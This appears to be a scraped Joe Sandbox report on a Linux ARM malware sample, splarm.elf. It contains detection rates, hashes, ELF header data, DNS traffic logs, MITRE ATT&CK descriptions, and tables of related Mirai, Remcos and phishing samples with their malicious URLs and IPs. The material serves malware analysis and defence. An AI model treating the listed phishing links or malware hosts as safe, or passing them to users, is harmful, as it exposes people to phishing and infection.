141.59.215.18	unknown	Germany	553	BELWUEBelWue-KoordinationEU	false
205.73.59.231	unknown	United States	5972	DNIC-ASBLK-05800-06055US	false
88.110.226.74	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
177.131.68.142	unknown	Brazil	28649	DesktopSigmanetComunicacaoMultimidiaLtdaBR	false
194.120.171.35	unknown	unknown	133115	HKKFGL-AS-APHKKwaifongGroupLimitedHK	false
9.207.197.134	unknown	United States	3356	LEVEL3US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
116.246.90.203	botx.mpsl.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohlookthereismyboats.geek	jklarm.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nabm68k.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	splmips.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	nabspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklppc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	zerspc.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	zersh4.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	jklarm5.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	jklx86.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklx86.elf	Get hash	malicious	Unknown	Browse	185.220.204.227

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LEVEL3US	jklarm.elf	Get hash	malicious	Unknown	Browse	7.0.100.22
	nabm68k.elf	Get hash	malicious	Unknown	Browse	4.219.192.98
	splmips.elf	Get hash	malicious	Unknown	Browse	7.148.63.40
	nabspc.elf	Get hash	malicious	Unknown	Browse	9.250.225.204
	nklppc.elf	Get hash	malicious	Unknown	Browse	4.246.82.22
	jklarm5.elf	Get hash	malicious	Unknown	Browse	4.28.119.140
	jklx86.elf	Get hash	malicious	Unknown	Browse	4.202.111.16
	nklx86.elf	Get hash	malicious	Unknown	Browse	9.203.86.95
	nklarm7.elf	Get hash	malicious	Unknown	Browse	6.196.87.68
	nabarm5.elf	Get hash	malicious	Unknown	Browse	4.54.79.166
CISCOSYSTEMSUS	k86m.elf	Get hash	malicious	Mirai	Browse	171.68.162.20
	ssh.arm7.elf	Get hash	malicious	Mirai	Browse	171.71.0.153
	hgfs.mpsl.elf	Get hash	malicious	Unknown	Browse	64.102.85.103
	KKveTTgaAAsecNNaaaa.i686.elf	Get hash	malicious	Unknown	Browse	144.254.79.156
	miori.mpsl.elf	Get hash	malicious	Unknown	Browse	64.103.45.92
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	171.68.160.212
	nklarm5.elf	Get hash	malicious	Unknown	Browse	72.163.94.40
	DM5Z4mIL1X.exe	Get hash	malicious	Remcos	Browse	198.135.50.146
	sh4.elf	Get hash	malicious	Unknown	Browse	173.37.134.117
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	72.163.21.70
UMICH-AS-5US	nklppc.elf	Get hash	malicious	Unknown	Browse	35.61.144.64
	ssh.mpsl.elf	Get hash	malicious	Mirai	Browse	35.21.235.148
	mips.elf	Get hash	malicious	Unknown	Browse	35.14.194.171
	hgfs.ppc.elf	Get hash	malicious	Unknown	Browse	35.11.41.28
	arm7.elf	Get hash	malicious	Mirai	Browse	35.1.148.45
	Nyx4r.arm.elf	Get hash	malicious	Okiru	Browse	35.21.235.100
	hgfs.mips.elf	Get hash	malicious	Unknown	Browse	35.1.173.61
	KKveTTgaAAsecNNaaaa.x86_64.elf	Get hash	malicious	Unknown	Browse	35.16.132.202
	KKveTTgaAAsecNNaaaa.m68k.elf	Get hash	malicious	Unknown	Browse	35.36.192.182
	KKveTTgaAAsecNNaaaa.ppc.elf	Get hash	malicious	Unknown	Browse	35.42.243.233
XO-AS15US	nabspc.elf	Get hash	malicious	Unknown	Browse	71.5.213.158
	https://sceanmcommnunmnlty.com/siute/apxpw/zpq	Get hash	malicious	Unknown	Browse	23.32.238.107
	hoho.arm7.elf	Get hash	malicious	Mirai	Browse	66.104.114.127
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	207.9.3.208
	https://www.xpressreg.net/EmailRedirect2.aspx?id=15&verify=1309283587&scheme=https://click.actmkt.com//s2/001-9d8b5995-11e2-4176-a44d-ac784ffff218/052-1f3d50c8-0ab2-42ca-9d57-414363d82282?enr=naahiaduabyaaoqaf4ac6adsabsqa5aameagsadmabsqa4qafyahgadqabsqa3qaoqagyadzaaxaayyan4ag2abpabjqa2aan4ahaadjabtaa6iaieag4adbaaxqataaneag4adlaaxqanqaheadaabxaa3aapyaomahiadpabzaaziahuagkadsabuqayyafuaggadiab2qa4qammagqabnab2qa4yaeyahiadzabyaaziahuafgaceaataa5iaoiagyab5abuaa5aaoqahaadtaa5aalyaf4agcadoab2aa2iamiag6aduaawqa4aameahiadjabsqa3qaoqac2adnabxqa5ianyahiadbabuqa3qafuadeadcaayqazqafyadaabvabraazqaguadsabvaa2aamaagmagkadgabsqamaaheagmabwaa3aanqamqadmadeaa2qamqafyahoadpabzaa2yamuaheadtaaxaazaamuahmabpab6aa4yanaag6adpab2aa3iamuadaabyaa4qaqaam4ag2adbabuqa3aafyaggadpabwqa7aagqahyad4aayaaniagiac2abrabtaamyamqadkabqabrqaoaafuadaadbabraamqafuadiabsabrqayiafuadsadeaa2qanyafuadiabraa2aamyagyadgadeaa4aamqagiadqabsab6aamaaguadsabnabsqanqammadsabwabraaoiagaac2absabrqanyageac2abuaazqanqamyac2adcaa2qaniagmac2adcaa3aanqamuadcadcabtaaoaag4aggabyabrqa7aagaadaabraawqaoiamqadqadcaa2qaoiaheadkabnaayqamiamuadeabnaa2aamiag4admabnabqqanaagqagiabnabqqayyag4adqabuabtaazqamyagmabsaayqaoaapqahyacbab6aa===&path=/barcode/barcodepage.asp&recId=119377774&query=P2RiPVNBVEUwMzIxJmI9MjE1NTExJmxvZ289aHR0cHM6Ly9jb252LWRhdGEtY2RuLnMzLmFtYXpvbmF3cy5jb20vZXZlbnRzL1NBVEUwMzIxL3NhdGUwMzIxLWVtYWlsLWhlYWRlcjIucG5n	Get hash	malicious	HTMLPhisher	Browse	23.32.238.50
	Confidential_Communication#3760_pdf.html	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	23.32.238.56
	http://ajrdn.qqmasonry.com/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	23.32.238.66
	http://steameconmnnuity.com/f848937bf21d19cda314441b9eca9f3c/bGlua3Nob3J0LnJ1bg==/aHR0cDovL3N0ZWFtZWNvbm1ubnVpdHkuY29tLzg5ODkwODA5Lw==	Get hash	malicious	Unknown	Browse	23.32.238.97
	ssh.arm.elf	Get hash	malicious	Mirai	Browse	209.19.202.104
	hgfs.arm.elf	Get hash	malicious	Unknown	Browse	64.221.59.18

Process:	/tmp/splarm.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.1626805271986527
Encrypted:	false
SSDEEP:	3:FVEtIX9FQWUT+cF/VVp3FQWUT+KiXvVl/VVdf/FVLADsVHI1v/VVdf/FVWAfDDXH:uIg28/VW2nXNl/VjmsVot/VOArB/VH
MD5:	ECCFD9E32BC47B85EED7033E8FFFB80A
SHA1:	28BE754DE7C9C0887750F8458AA5FE2C8FCFD70D
SHA-256:	4FA20CF0EC24A983CA3378FF20AF03292061128FAFBBCED9BE6F539F557E8D07
SHA-512:	576903BBC4ED3192DFB3701C59CE9AC681EE3EE37C98537A5038C3896D468DF9A97F103056BB1BF5F33DA44DDBCBB348DE6C63C28E136F074D86ED3A7BD1A3EF
Malicious:	false
Reputation:	low
Preview:	8000-17000 r-xp 00000000 fd:00 531601 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531601 /tmp/..20000-22000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

Source: splarm.elf	Virustotal: Detection: 42%			Perma Link
Source: splarm.elf	ReversingLabs: Detection: 38%

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.0544222671357355
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splarm.elf
File size:	62'396 bytes
MD5:	9b4de4d4341f1ea8f5ba6f0fcfb1bee8
SHA1:	200cec8d2413a153f3a11293f5b2451010f06474
SHA256:	9b2c1555ec6fdf5ef324ae712df57e49ddbe66b821f437c9b7df37950ec2dbb6
SHA512:	941eb58197b2f194874e9dc4027b5593526257c137c378246a232e2c44560ce09236a35ee10d67d1ba7acc408852b3fe61254dc8f1e702b7cc8d6c0d1f60e2ab
SSDEEP:	1536:2W7iFfylT3vVpLs8a7xZEtgRilzsuXPbbBR:V7iFknD6eIil4uXPb
TLSH:	BD53F786B892DA53C1D552BBFA5F82DD332223E8D2DF3203DD116F553B8A81B0D6B641
File Content Preview:	.ELF...a..........(.........4...........4. ...(.........................................................D...........Q.td..................................-...L."....7..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	61956
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xdee0	0x0	0x6	AX	16
.fini	PROGBITS	0x15f90	0xdf90	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x15fa4	0xdfa4	0xf4e	0x0	0x2	A	4
.ctors	PROGBITS	0x1f000	0xf000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f008	0xf008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1f010	0xf010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1f014	0xf014	0x1ac	0x0	0x3	WA	4
.bss	NOBITS	0x1f1c0	0xf1c0	0x1284	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf1c0	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xeef2	0xeef2	6.0963	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf000	0x1f000	0x1f000	0x1c0	0x1444	2.2904	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 19:47:48.661164999 CET	58312	53	192.168.2.13	202.61.197.122
Mar 19, 2025 19:47:48.678690910 CET	53	58312	202.61.197.122	192.168.2.13
Mar 19, 2025 19:47:59.919831038 CET	36879	53	192.168.2.13	51.158.108.203
Mar 19, 2025 19:47:59.935436964 CET	53	36879	51.158.108.203	192.168.2.13
Mar 19, 2025 19:47:59.936170101 CET	37738	53	192.168.2.13	51.158.108.203
Mar 19, 2025 19:47:59.951611996 CET	53	37738	51.158.108.203	192.168.2.13
Mar 19, 2025 19:47:59.952349901 CET	38854	53	192.168.2.13	51.158.108.203
Mar 19, 2025 19:47:59.967987061 CET	53	38854	51.158.108.203	192.168.2.13
Mar 19, 2025 19:47:59.969368935 CET	51782	53	192.168.2.13	51.158.108.203
Mar 19, 2025 19:47:59.984602928 CET	53	51782	51.158.108.203	192.168.2.13
Mar 19, 2025 19:47:59.985513926 CET	54023	53	192.168.2.13	51.158.108.203
Mar 19, 2025 19:48:00.000627995 CET	53	54023	51.158.108.203	192.168.2.13
Mar 19, 2025 19:48:11.627326965 CET	33153	53	192.168.2.13	51.158.108.203
Mar 19, 2025 19:48:11.643253088 CET	53	33153	51.158.108.203	192.168.2.13
Mar 19, 2025 19:48:23.195137024 CET	46996	53	192.168.2.13	194.36.144.87
Mar 19, 2025 19:48:23.217505932 CET	53	46996	194.36.144.87	192.168.2.13
Mar 19, 2025 19:48:34.856144905 CET	57750	53	192.168.2.13	194.36.144.87
Mar 19, 2025 19:48:34.874530077 CET	53	57750	194.36.144.87	192.168.2.13
Mar 19, 2025 19:48:34.875363111 CET	47650	53	192.168.2.13	194.36.144.87
Mar 19, 2025 19:48:34.900032997 CET	53	47650	194.36.144.87	192.168.2.13
Mar 19, 2025 19:48:34.901058912 CET	50608	53	192.168.2.13	194.36.144.87
Mar 19, 2025 19:48:34.917505980 CET	53	50608	194.36.144.87	192.168.2.13
Mar 19, 2025 19:48:34.918514967 CET	55689	53	192.168.2.13	194.36.144.87
Mar 19, 2025 19:48:34.936748028 CET	53	55689	194.36.144.87	192.168.2.13
Mar 19, 2025 19:48:34.937824011 CET	46317	53	192.168.2.13	194.36.144.87
Mar 19, 2025 19:48:34.961185932 CET	53	46317	194.36.144.87	192.168.2.13
Mar 19, 2025 19:48:46.591321945 CET	46923	53	192.168.2.13	168.235.111.72
Mar 19, 2025 19:48:46.679836988 CET	53	46923	168.235.111.72	192.168.2.13
Mar 19, 2025 19:48:58.228487968 CET	58547	53	192.168.2.13	185.181.61.24
Mar 19, 2025 19:48:58.264853001 CET	53	58547	185.181.61.24	192.168.2.13
Mar 19, 2025 19:49:09.507952929 CET	45929	53	192.168.2.13	51.158.108.203
Mar 19, 2025 19:49:09.523314953 CET	53	45929	51.158.108.203	192.168.2.13
Mar 19, 2025 19:49:21.163142920 CET	54514	53	192.168.2.13	152.53.15.127
Mar 19, 2025 19:49:21.186568975 CET	53	54514	152.53.15.127	192.168.2.13
Mar 19, 2025 19:49:21.187587976 CET	37286	53	192.168.2.13	152.53.15.127
Mar 19, 2025 19:49:21.210448027 CET	53	37286	152.53.15.127	192.168.2.13
Mar 19, 2025 19:49:21.211584091 CET	48536	53	192.168.2.13	152.53.15.127
Mar 19, 2025 19:49:21.228560925 CET	53	48536	152.53.15.127	192.168.2.13
Mar 19, 2025 19:49:21.229266882 CET	39486	53	192.168.2.13	152.53.15.127
Mar 19, 2025 19:49:21.246036053 CET	53	39486	152.53.15.127	192.168.2.13
Mar 19, 2025 19:49:21.246865034 CET	47725	53	192.168.2.13	152.53.15.127
Mar 19, 2025 19:49:21.270549059 CET	53	47725	152.53.15.127	192.168.2.13
Mar 19, 2025 19:49:32.899787903 CET	56107	53	192.168.2.13	168.235.111.72
Mar 19, 2025 19:49:32.993334055 CET	53	56107	168.235.111.72	192.168.2.13
Mar 19, 2025 19:49:44.571537971 CET	37922	53	192.168.2.13	152.53.15.127
Mar 19, 2025 19:49:44.595082998 CET	53	37922	152.53.15.127	192.168.2.13
Mar 19, 2025 19:49:44.596081018 CET	56279	53	192.168.2.13	152.53.15.127
Mar 19, 2025 19:49:44.621107101 CET	53	56279	152.53.15.127	192.168.2.13
Mar 19, 2025 19:49:44.622102976 CET	59085	53	192.168.2.13	152.53.15.127
Mar 19, 2025 19:49:44.639276981 CET	53	59085	152.53.15.127	192.168.2.13
Mar 19, 2025 19:49:44.640239954 CET	43451	53	192.168.2.13	152.53.15.127
Mar 19, 2025 19:49:44.656884909 CET	53	43451	152.53.15.127	192.168.2.13
Mar 19, 2025 19:49:44.657866955 CET	35040	53	192.168.2.13	152.53.15.127
Mar 19, 2025 19:49:44.680531979 CET	53	35040	152.53.15.127	192.168.2.13

Start time (UTC):	18:47:44
Start date (UTC):	19/03/2025
Path:	/tmp/splarm.elf
Arguments:	/tmp/splarm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	18:47:46
Start date (UTC):	19/03/2025
Path:	/tmp/splarm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	18:47:47
Start date (UTC):	19/03/2025
Path:	/tmp/splarm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splarm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.09senu (deleted)

/tmp/qemu-open.0FVy9u (deleted)

/tmp/qemu-open.0zXm1t (deleted)

/tmp/qemu-open.27ICnv (deleted)

/tmp/qemu-open.2QXXHt (deleted)

/tmp/qemu-open.2jKhtw (deleted)

/tmp/qemu-open.2mDgxu (deleted)

/tmp/qemu-open.3WMShu (deleted)

/tmp/qemu-open.4BBedt (deleted)

/tmp/qemu-open.4UmqWs (deleted)

/tmp/qemu-open.65Bq6u (deleted)

/tmp/qemu-open.6a6pRu (deleted)

/tmp/qemu-open.6fD5Ct (deleted)

/tmp/qemu-open.7CYfyt (deleted)

/tmp/qemu-open.7PPMXs (deleted)

/tmp/qemu-open.7onagt (deleted)

/tmp/qemu-open.9UOMBv (deleted)

/tmp/qemu-open.B25IJu (deleted)

/tmp/qemu-open.DfrLUs (deleted)

/tmp/qemu-open.EUTakv (deleted)

/tmp/qemu-open.EdGn9s (deleted)

/tmp/qemu-open.FYlLCu (deleted)

/tmp/qemu-open.GOJs4t (deleted)

/tmp/qemu-open.GkF38r (deleted)

/tmp/qemu-open.H6kh3s (deleted)

/tmp/qemu-open.HDduQu (deleted)

/tmp/qemu-open.HPq42t (deleted)

/tmp/qemu-open.I1vH4t (deleted)

/tmp/qemu-open.I8Esav (deleted)

/tmp/qemu-open.IxBOqs (deleted)

/tmp/qemu-open.JRvGEs (deleted)

/tmp/qemu-open.JzZKNs (deleted)

/tmp/qemu-open.Ki9Jmw (deleted)

/tmp/qemu-open.LIrwts (deleted)

/tmp/qemu-open.MTBtGv (deleted)

Linux Analysis Report
splarm.elf